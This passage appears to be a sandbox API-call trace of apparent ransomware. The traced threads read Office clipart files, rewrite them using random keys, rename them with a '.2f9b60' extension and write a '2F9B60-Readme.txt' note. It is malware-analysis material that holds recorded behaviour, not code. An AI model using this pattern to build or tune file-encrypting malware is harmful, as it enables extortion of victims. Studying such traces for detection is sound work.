RtlInitAnsiString (in: DestinationString=0x29cbfc08, SourceString="21265f80480ec79edcd188e32707cab6cf03cf312671d421" | out: DestinationString="21265f80480ec79edcd188e32707cab6cf03cf312671d421") [0100.593] RtlAnsiStringToUnicodeString (in: DestinationString=0x29cbfbd8, SourceString="21265f80480ec79edcd188e32707cab6cf03cf312671d421", AllocateDestinationString=1 | out: DestinationString="21265f80480ec79edcd188e32707cab6cf03cf312671d421") returned 0x0 [0100.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e250 [0100.594] wcscat (in: _Dest=0x202b0ab0, _Source="21265f80480e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21265f80480e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21265f80480e" [0100.594] wcscat (in: _Dest=0x202b0ab0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21265f80480e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21265f80480e.2f9b60" [0100.594] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21265f80480e.2f9b60", NtPathName=0x29cbfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21265f80480e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107540 [0109.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107540) returned 1 [0109.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293df0) returned 1 [0109.444] NtQueryInformationFile (in: FileHandle=0xed4, IoStatusBlock=0x29cbfc18, FileInformation=0x29cbfc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29cbfc18, FileInformation=0x29cbfc28) returned 0x0 [0109.444] NtSetInformationFile (FileHandle=0xed4, IoStatusBlock=0x29cbfc18, FileInformation=0x29cbfc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0ab0) returned 1 [0109.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e250) returned 1 [0109.446] FlushFileBuffers (hFile=0xed4) returned 1 [0109.447] CloseHandle (hObject=0xed4) returned 1 [0109.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0ab0 [0109.448] wcscpy (in: _Dest=0x202b0ab0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.448] wcscat (in: _Dest=0x202b0ab0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0ab0) returned 1 [0109.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cd50) returned 1 Thread: id = 647 os_tid = 0x1100 [0095.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0096.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF", dwFileAttributes=0x20) returned 1 [0096.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xed0 [0096.379] GetFileSizeEx (in: hFile=0xed0, lpFileSize=0x29e8fc00 | out: lpFileSize=0x29e8fc00*=3140) returned 1 [0096.379] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0xc40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.379] ReadFile (in: hFile=0xed0, lpBuffer=0x29e8fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29e8fbc8, lpOverlapped=0x0 | out: lpBuffer=0x29e8fb80*, lpNumberOfBytesRead=0x29e8fbc8*=0x4, lpOverlapped=0x0) returned 1 [0096.399] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0096.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0096.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0096.399] NtQuerySystemTime (in: CurrentTime=0x29e8fac0 | out: CurrentTime=0x29e8fac0*=132462177022342000) returned 0x0 [0096.399] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x76385ebe [0096.399] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x74b17e5c [0096.399] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x42a30c9e [0096.399] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x4d0761df [0096.399] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x3654da6a [0096.399] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x6023aeb8 [0096.399] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x2fd20a1e [0096.399] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x1618491d [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x27a5f3da [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x2488a4aa [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x72d9ba2f [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x40ac4d71 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x2a5d1f42 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x730aa19d [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x37f45a82 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x61e7a144 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x1a4eadea [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x798a9769 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x5dfb5c5 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x32477c72 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x27da6c02 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x6fe1d3f4 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x6ec0485b [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x74415a50 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x791f53e [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x4b851d3b [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x5b378a25 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x77bcc166 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x6c08fbeb [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x4f167f72 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x415b3e54 [0096.400] RtlRandomEx (in: Seed=0x29e8fab0 | out: Seed=0x29e8fab0) returned 0x466d73c2 [0096.411] ReadFile (in: hFile=0xed0, lpBuffer=0x201a2d00, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x29e8fab0, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesRead=0x29e8fab0*=0xc44, lpOverlapped=0x0) returned 1 [0096.411] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.411] WriteFile (in: hFile=0xed0, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0x29e8fab4, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x29e8fab4*=0xc44, lpOverlapped=0x0) returned 1 [0096.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0096.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0096.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0096.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0096.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0096.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0096.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0096.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8606c0 [0096.420] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.420] WriteFile (in: hFile=0xed0, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29e8fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x29e8fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0096.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c710 [0096.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0096.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0096.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0096.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0096.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0096.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860000) returned 1 [0096.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0096.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0096.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.441] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="ae") returned 2 [0096.441] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="6e") returned 2 [0096.441] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="4f") returned 2 [0096.441] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="0d") returned 2 [0096.441] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="dc") returned 2 [0096.441] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="27") returned 2 [0096.441] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="cf") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="49") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="ce") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="6b") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="d6") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="2d") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="a2") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="e0") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="ad") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="e6") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="a8") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="93") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="b4") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="29") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="92") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="5b") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="1e") returned 2 [0096.442] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="80") returned 2 [0096.442] RtlInitAnsiString (in: DestinationString=0x29e8fc48, SourceString="ae6e4f0ddc27cf49ce6bd62da2e0ade6a893b429925b1e80" | out: DestinationString="ae6e4f0ddc27cf49ce6bd62da2e0ade6a893b429925b1e80") [0096.442] RtlAnsiStringToUnicodeString (in: DestinationString=0x29e8fc18, SourceString="ae6e4f0ddc27cf49ce6bd62da2e0ade6a893b429925b1e80", AllocateDestinationString=1 | out: DestinationString="ae6e4f0ddc27cf49ce6bd62da2e0ade6a893b429925b1e80") returned 0x0 [0096.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864060 [0096.443] wcscat (in: _Dest=0x2027a1f0, _Source="ae6e4f0ddc27" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae6e4f0ddc27") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae6e4f0ddc27" [0096.443] wcscat (in: _Dest=0x2027a1f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae6e4f0ddc27.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae6e4f0ddc27.2f9b60" [0096.443] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae6e4f0ddc27.2f9b60", NtPathName=0x29e8fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ae6e4f0ddc27.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202786b0 [0096.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202786b0) returned 1 [0096.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0096.495] NtQueryInformationFile (in: FileHandle=0xed0, IoStatusBlock=0x29e8fc58, FileInformation=0x29e8fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29e8fc58, FileInformation=0x29e8fc68) returned 0x0 [0096.495] NtSetInformationFile (FileHandle=0xed0, IoStatusBlock=0x29e8fc58, FileInformation=0x29e8fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0096.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a1f0) returned 1 [0096.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864060) returned 1 [0096.967] FlushFileBuffers (hFile=0xed0) returned 1 [0099.585] CloseHandle (hObject=0xed0) returned 1 [0101.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1870 [0101.563] wcscpy (in: _Dest=0x202b1870, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0101.563] wcscat (in: _Dest=0x202b1870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0101.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0xffffffff [0102.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xed4 [0109.451] WriteFile (in: hFile=0xed4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x29e8fb10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x29e8fb10*=0xba9, lpOverlapped=0x0) returned 1 [0109.452] CloseHandle (hObject=0xed4) returned 1 [0109.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1870) returned 1 [0109.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cde0) returned 1 Thread: id = 648 os_tid = 0x1104 [0095.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0096.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF", dwFileAttributes=0x20) returned 1 [0096.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xecc [0096.354] GetFileSizeEx (in: hFile=0xecc, lpFileSize=0x29fbf760 | out: lpFileSize=0x29fbf760*=12482) returned 1 [0096.354] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x30be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.355] ReadFile (in: hFile=0xecc, lpBuffer=0x29fbf6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29fbf728, lpOverlapped=0x0 | out: lpBuffer=0x29fbf6e0*, lpNumberOfBytesRead=0x29fbf728*=0x4, lpOverlapped=0x0) returned 1 [0096.381] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0096.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0096.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0096.381] NtQuerySystemTime (in: CurrentTime=0x29fbf620 | out: CurrentTime=0x29fbf620*=132462177022186000) returned 0x0 [0096.381] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x78c7b3cb [0096.381] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x724adbb6 [0096.381] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x3a83e806 [0096.381] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x2179ecd8 [0096.381] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x69281f03 [0096.381] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x682a55be [0096.381] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x18132364 [0096.381] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x2fa12a1a [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x7ed1af2b [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x12985287 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x328bad94 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x7e9370fc [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x22efda56 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x74e2643f [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x587da1ec [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x8222432 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x468aed9c [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x77df7754 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x3cf06b80 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x17093419 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0xc0175a3 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x5d786459 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x7119b4a4 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x675e492e [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x371870bb [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x1467e3ee [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x233b49a1 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x631a8c32 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x11bd89e8 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x36d30b7b [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0xfe624e3 [0096.382] RtlRandomEx (in: Seed=0x29fbf610 | out: Seed=0x29fbf610) returned 0x65fd28fc [0096.391] ReadFile (in: hFile=0xecc, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x29fbf610, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x29fbf610*=0x30c2, lpOverlapped=0x0) returned 1 [0096.415] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.415] WriteFile (in: hFile=0xecc, lpBuffer=0x201bd170*, nNumberOfBytesToWrite=0x30c2, lpNumberOfBytesWritten=0x29fbf614, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesWritten=0x29fbf614*=0x30c2, lpOverlapped=0x0) returned 1 [0100.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613a0 [0100.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612e0 [0100.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202612e0) returned 1 [0100.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201bd170) returned 1 [0100.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0100.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0100.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0100.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202612e0 [0100.971] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.971] WriteFile (in: hFile=0xecc, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29fbf730, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x29fbf730*=0x10a, lpOverlapped=0x0) returned 1 [0105.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261040) returned 1 [0105.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bf0 [0105.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260bf0) returned 1 [0105.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.293] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="dc") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="37") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="e4") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="8a") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="e5") returned 2 [0105.293] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: 